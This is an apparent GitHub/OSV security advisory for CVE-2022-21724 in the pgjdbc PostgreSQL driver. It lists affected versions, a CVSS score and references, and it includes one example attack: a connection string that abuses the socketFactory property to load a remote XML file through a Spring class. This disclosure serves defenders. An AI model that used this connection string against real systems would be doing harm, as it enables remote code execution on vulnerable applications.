GHSA-v7wg-cpwc-24m4
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
En bref
- Publiée
- Mise à jour
- CVE
- CVE-2022-21724
- Alias
- BIT-postgresql-jdbc-driver-2022-21724
- CVSS_V3
- CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Description
### Impact pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. Here's an example attack using an out-of-the-box class from Spring Framework: ``` DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml"); ``` The first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)
Paquets affectés
| Paquet | Versions |
|---|---|
| Maven · org.postgresql:postgresql | introduced 9.4.1208, fixed 42.2.25 |
| Maven · org.postgresql:postgresql | introduced 42.3.0, fixed 42.3.2 |
Références
- https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4 WEB
- https://nvd.nist.gov/vuln/detail/CVE-2022-21724 ADVISORY
- https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813 WEB
- https://github.com/pgjdbc/pgjdbc PACKAGE
- https://lists.debian.org/debian-lts-announce/2022/05/msg00027.html WEB
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BVEO7BEFXPBVHSPYL3YKQWZI6DYXQLFS WEB
- https://security.netapp.com/advisory/ntap-20220311-0005 WEB
- https://www.debian.org/security/2022/dsa-5196 WEB
Sources
| Source | Licence |
|---|---|
| OSV.dev | CC-BY 4.0 — GitHub Advisory Database |